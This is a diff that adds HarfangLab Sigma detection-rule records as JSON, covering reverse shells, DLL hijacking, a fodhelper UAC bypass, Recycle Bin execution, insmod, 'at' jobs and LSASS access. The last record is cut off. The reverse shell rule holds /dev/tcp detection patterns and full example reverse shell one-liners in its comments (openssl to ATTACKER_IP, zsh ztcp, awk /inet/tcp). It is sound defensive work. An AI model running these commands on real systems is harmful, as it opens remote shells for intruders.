+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095664Z",
+  "creation_date": "2026-03-23T11:45:34.095666Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095670Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://www.revshells.com/",
+    "https://attack.mitre.org/techniques/T1059/004/",
+    "https://attack.mitre.org/techniques/T1559/"
+  ],
+  "name": "t1059_004_reverse_shell_command_line_macos.yml",
+  "content": "title: Reverse Shell Executed from Command-line\nid: 0462a933-4c70-4baa-b836-58671ae8a94b\ndescription: |\n    Detects suspicious shell commands related to the execution of reverse shells.\n    A reverse shell is a shell session that is initiated from a remote machine.\n    Attackers often use reverse shells to bypass firewall restrictions.\n    It is recommended to investigate the process that started the reverse shell, as well as any malcious actions the reverse could have taken.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://www.revshells.com/\n    - https://attack.mitre.org/techniques/T1059/004/\n    - https://attack.mitre.org/techniques/T1559/\ndate: 2024/05/15\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - attack.t1559\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_command:\n        CommandLine|contains:\n            - 'http://reverse-shell.sh/'\n            - 'https://reverse-shell.sh/'\n            - 'sh -i*>*/dev/tcp/*'\n            - 'sh -i*>*/dev/udp/*'\n            - 'exec *<>*/dev/tcp/*'\n            - 'exec *<>*/dev/udp/*'\n            - 'sh*0>*/dev/tcp/'\n            - 'sh*0>*/dev/udp/'\n            - 'sh -i <&3 >&3 2>&3'\n            # openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>\n            - 's_client*-connect*:*|*sh*|*s_client*-connect*:*'\n            # zsh -c 'zmodload zsh/net/tcp && ztcp 10.10.10.10 9001 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'\n            - 'zmodload zsh/net/tcp * ztcp'\n            - 'sh*>*/dev/tcp/'\n            - 'sh*>*/dev/udp/'\n\n    # awk 'BEGIN {s = \"/inet/tcp/0/<IP>/<PORT>\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null\n    selection_awk_protocol:\n        CommandLine|contains:\n            - '/inet/tcp/'\n            - '/inet/udp/'\n    selection_awk_command:\n        CommandLine|contains|all:\n            - 'BEGIN '\n            - 'printf'\n            - 'getline '\n            - 'close('\n\n    exclusion_localhost:\n        CommandLine|contains:\n            - '/dev/tcp/127.0.0.1/'\n            - '/dev/udp/127.0.0.1/'\n\n    condition: selection_command or (all of selection_awk_*) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0462a933-4c70-4baa-b836-58671ae8a94b",
+  "rule_name": "Reverse Shell Executed from Command-line",
+  "rule_description": "Detects suspicious shell commands related to the execution of reverse shells.\nA reverse shell is a shell session that is initiated from a remote machine.\nAttackers often use reverse shells to bypass firewall restrictions.\nIt is recommended to investigate the process that started the reverse shell, as well as any malcious actions the reverse could have taken.\n",
+  "rule_creation_date": "2024-05-15",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.004",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0486b170-5b3c-4234-8610-a8881dfb1dbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081276Z",
+  "creation_date": "2026-03-23T11:45:34.081278Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081282Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_taskkill.yml",
+  "content": "title: DLL Hijacking via taskkill.exe\nid: 0486b170-5b3c-4234-8610-a8881dfb1dbf\ndescription: |\n    Detects potential Windows DLL Hijacking via taskkill.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'taskkill.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbghelp.dll'\n            - '\\framedynos.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n            - '\\wbemprox.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0486b170-5b3c-4234-8610-a8881dfb1dbf",
+  "rule_name": "DLL Hijacking via taskkill.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via taskkill.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "04b80cc3-4931-4733-9085-38663dfb2e0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077465Z",
+  "creation_date": "2026-03-23T11:45:34.077467Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077472Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/"
+  ],
+  "name": "t1548_002_post_uac_bypass_fodhelper.yml",
+  "content": "title: UAC Bypass Executed via fodhelper\nid: 04b80cc3-4931-4733-9085-38663dfb2e0c\ndescription: |\n    Detects a process being spawned by fodhelper.exe.\n    Fodhelper.exe has autoelevation capabilities and an integrity level of High.\n    This is the result of an attack against a ShellExecuteW(\"ms-settings:optionalfeatures\") call inside fodhelper.\n    Attackers may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    As such, it is recommended to look for other alerts related to ms-settings.\nreferences:\n    - https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/\ndate: 2020/10/12\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\fodhelper.exe'\n    exclusion_werfault:\n        Image:\n            - '?:\\windows\\system32\\werfault.exe'\n            - '?:\\windows\\syswow64\\werfault.exe'\n        # c:\\windows\\system32\\werfault.exe -u -p 11444 -s 704\n        CommandLine|contains: ' -u -p '\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "04b80cc3-4931-4733-9085-38663dfb2e0c",
+  "rule_name": "UAC Bypass Executed via fodhelper",
+  "rule_description": "Detects a process being spawned by fodhelper.exe.\nFodhelper.exe has autoelevation capabilities and an integrity level of High.\nThis is the result of an attack against a ShellExecuteW(\"ms-settings:optionalfeatures\") call inside fodhelper.\nAttackers may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nAs such, it is recommended to look for other alerts related to ms-settings.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "04fc1ab5-7c16-4e89-9c17-8b4dc21c0d44",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627504Z",
+  "creation_date": "2026-03-23T11:45:34.627506Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627510Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1564/",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1564_recycle_bin.yml",
+  "content": "title: Process Executed from Recycle Bin Folder\nid: 04fc1ab5-7c16-4e89-9c17-8b4dc21c0d44\ndescription: |\n    Detects an execution from Recycle Bin folder.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2021/07/08\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\\\?Recycle.Bin\\S-1-5-21-*\\$R'\n\n    # Teams updater doing weird things\n    exclusion_teams:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n\n    exclusion_managesoft:\n        ParentImage: '?:\\Program Files (x86)\\ManageSoft\\Tracker\\ndtrack.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "04fc1ab5-7c16-4e89-9c17-8b4dc21c0d44",
+  "rule_name": "Process Executed from Recycle Bin Folder",
+  "rule_description": "Detects an execution from Recycle Bin folder.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to determine if the executed binary is legitimate as well as to investigate the context of this execution.\n",
+  "rule_creation_date": "2021-07-08",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1564"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "050e879b-c3c6-421d-8fc1-c03917f620d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.596684Z",
+  "creation_date": "2026-03-23T11:45:34.596687Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596695Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://linux.die.net/man/8/insmod",
+    "https://man7.org/linux/man-pages/man8/kmod.8.html",
+    "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1547.006/T1547.006.md",
+    "https://attack.mitre.org/techniques/T1547/006/",
+    "https://attack.mitre.org/techniques/T1014/"
+  ],
+  "name": "t1547_006_kernel_module_load_insmod.yml",
+  "content": "title: Kernel Module Loaded via Insmod\nid: 050e879b-c3c6-421d-8fc1-c03917f620d2\ndescription: |\n    Detects the execution of insmod to load a kernel module manually.\n    Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\n    They extend the functionality of the kernel without the need to reboot the system.\n    For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\n    Adversaries may modify the kernel to automatically execute programs on system boot.\n    It is recommended to analyze the context around the usage of insmod as well as to analyze the loaded module to look for malicious content or actions.\nreferences:\n    - https://linux.die.net/man/8/insmod\n    - https://man7.org/linux/man-pages/man8/kmod.8.html\n    - https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1547.006/T1547.006.md\n    - https://attack.mitre.org/techniques/T1547/006/\n    - https://attack.mitre.org/techniques/T1014/\ndate: 2023/12/15\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547.006\n    - attack.defense_evasion\n    - attack.t1014\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Rootkit.Generic\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # Commands seen in malware:\n    # insmod /root/my_malicious_malware.ko\n    # insmod -- /root/my_malicious_malware.ko\n    selection:\n        Image|endswith: '/kmod'\n        CommandLine|contains: 'insmod '\n\n    # help and version\n    exclusion_options_args:\n        CommandLine|contains:\n            - ' -h'\n            - ' -V'\n            - ' --help'\n            - ' --version'\n\n    exclusion_trendmicro:\n        CommandLine:\n            - 'insmod /opt/ds_agent/*/*.ko'\n            - 'insmod /opt/TrendMicro/vls_agent/*/*.ko'\n\n    # exclusion_package_manager:\n    # TODO: Ancestors\n    #   # Yum\n    #   Ancestors|startswith: '/usr/bin/bash|/usr/bin/bash|/usr/libexec/platform-python*|/usr/libexec/platform-python*|'\n\n    exclusion_kpatch:\n        CommandLine:\n            - 'insmod /var/lib/kpatch/*/livepatch-*.ko'\n            - 'insmod /var/lib/kpatch/*/kpatch-*.ko'\n\n    exclusion_symantec:\n        CommandLine: '/sbin/insmod /opt/Symantec/autoprotect/.symevrm-custom-*.ko'\n\n    exclusion_veeam:\n        ProcessGrandparentImage: '/usr/sbin/veeamworker'\n\n    exclusion_commvault:\n        - ProcessCommandLine: 'insmod /lib/modules/*/kernel/drivers/*.ko'\n          ProcessParentImage: '/opt/commvault/ksh'\n        - ProcessGrandparentCommandLine: '/bin/bash /opt/commvault/Base/linux_drv.sh -a /opt/commvault/Base cvblk'\n\n    exclusion_quadstorvtl:\n        ProcessParentCommandLine: '/bin/bash /quadstorvtl/etc/quadstorvtl.init start'\n\n    exclusion_yum_update:\n        ProcessGrandparentCommandLine|startswith: '/usr/bin/sh /bin/kernel-install '\n\n    exclusion_rpm:\n        ProcessAncestors|contains: '|/usr/bin/rpm|'\n\n    exclusion_veritas:\n        ProcessCommandLine|startswith:\n            - 'insmod /etc/vx/kernel/'\n            - 'insmod /opt/VRTSgab/modules/'\n            - 'insmod /opt/VRTSamf/modules/'\n            - 'insmod /opt/VRTSvxfen/modules/'\n\n    # https://github.com/quic/quic-usb-drivers/tree/master\n    exclusion_quic:\n        - ProcessParentCommandLine: '/bin/bash ./QcDevDriver.sh install'\n        - ProcessCurrentDirectory: '/opt/QTI/QUD/BuildPackage/'\n\n    exclusion_intel:\n        ProcessCurrentDirectory: '/opt/intel/oneapi/vtune/20??.?/sepdk/src/'\n\n    exclusion_aws:\n        ProcessCommandLine|contains: 'aws-replication-driver.ko'\n        ProcessAncestors|contains: '/aws-replication-installer-init|'\n\n    exclusion_checkpoint:\n        ProcessAncestors|contains: '|/var/lib/checkpoint/cpla/cpla|'\n\n    exclusion_guardicore:\n        - ProcessCommandLine: 'insmod /var/lib/guardicore/modules/*/gc-enforcement/*/gc-enforcement.ko'\n        - ProcessAncestors|contains: '|/var/lib/guardicore/sbin/gc-agents-service|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "050e879b-c3c6-421d-8fc1-c03917f620d2",
+  "rule_name": "Kernel Module Loaded via Insmod",
+  "rule_description": "Detects the execution of insmod to load a kernel module manually.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nThey extend the functionality of the kernel without the need to reboot the system.\nFor example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.\nAdversaries may modify the kernel to automatically execute programs on system boot.\nIt is recommended to analyze the context around the usage of insmod as well as to analyze the loaded module to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014",
+    "attack.t1547.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "051bcdc2-56be-49af-bd6f-1fbac403ab5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612386Z",
+  "creation_date": "2026-03-23T11:45:34.612389Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612397Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.002/T1053.002.md#atomic-test-2---at---schedule-a-job",
+    "https://attack.mitre.org/techniques/T1053/002/"
+  ],
+  "name": "t1053_002_scheduled_job_at.yml",
+  "content": "title: Job Creation Scheduled via at\nid: 051bcdc2-56be-49af-bd6f-1fbac403ab5b\ndescription: |\n    Detects a scheduled job creation using the 'at' utility.\n    Contrary to the 'crontab' command which schedules repetitive commands, the 'at' command schedules tasks that execute once.\n    The new job can be found in the /var/spool/cron/atjobs directory.\n    Adversaries may abuse the 'at' utility to perform task scheduling for initial or recurring execution of malicious code.\n    It is recommended to investigate the process using the utility as well as the scheduled job itself to look for malicious content or actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.002/T1053.002.md#atomic-test-2---at---schedule-a-job\n    - https://attack.mitre.org/techniques/T1053/002/\ndate: 2022/12/26\nmodified: 2025/07/29\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.At\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/at'\n            - '/batch'\n\n    exclusion_not_create:\n        CommandLine|contains:\n            - ' -l' # lists the user's pending jobs\n            - ' -r' # deletes jobs\n            - ' -d' # deletes jobs\n\n    exclusion_now:\n        CommandLine: 'at now'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "051bcdc2-56be-49af-bd6f-1fbac403ab5b",
+  "rule_name": "Job Creation Scheduled via at",
+  "rule_description": "Detects a scheduled job creation using the 'at' utility.\nContrary to the 'crontab' command which schedules repetitive commands, the 'at' command schedules tasks that execute once.\nThe new job can be found in the /var/spool/cron/atjobs directory.\nAdversaries may abuse the 'at' utility to perform task scheduling for initial or recurring execution of malicious code.\nIt is recommended to investigate the process using the utility as well as the scheduled job itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-07-29",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "053fc596-ebe0-4ab6-9d82-691fec399375",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.295481Z",
+  "creation_date": "2026-03-23T11:45:35.295485Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.295491Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/shadowpad-new-activity-from-the-winnti-group/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_cleared_process_info_open_lsass.yml",
+  "content": "title: LSASS Accessed by Process Without PE Metadata Information\nid: 053fc596-ebe0-4ab6-9d82-691fec399375\ndescription: |\n    Detects the suspicious open of lsass.exe by a process without PE metadata information (original name and internal name).\n    This can be indicative of an attempt to dump LSASS' memory for privilege escalation purposes.\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    It is recommended to analyze the source process for malicious content, to check its legitimacy and origin and to start memory forensics to determine stolen credentials.\nreferences:\n    - https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/shadowpad-new-activity-from-the-winnti-group/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/06/07\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: \"PROCESS_VM_READ\"\n        ProcessOriginalFileName: ''\n        ProcessInternalName: ''\n        ProcessLegalCopyright: ''  # too many FP with only OriginalFileame and InternalName not set. Generally, LegalCopyright and/or CompanyName is set\n        ProcessImage|startswith:\n            - '?:\\windows\\'\n            - 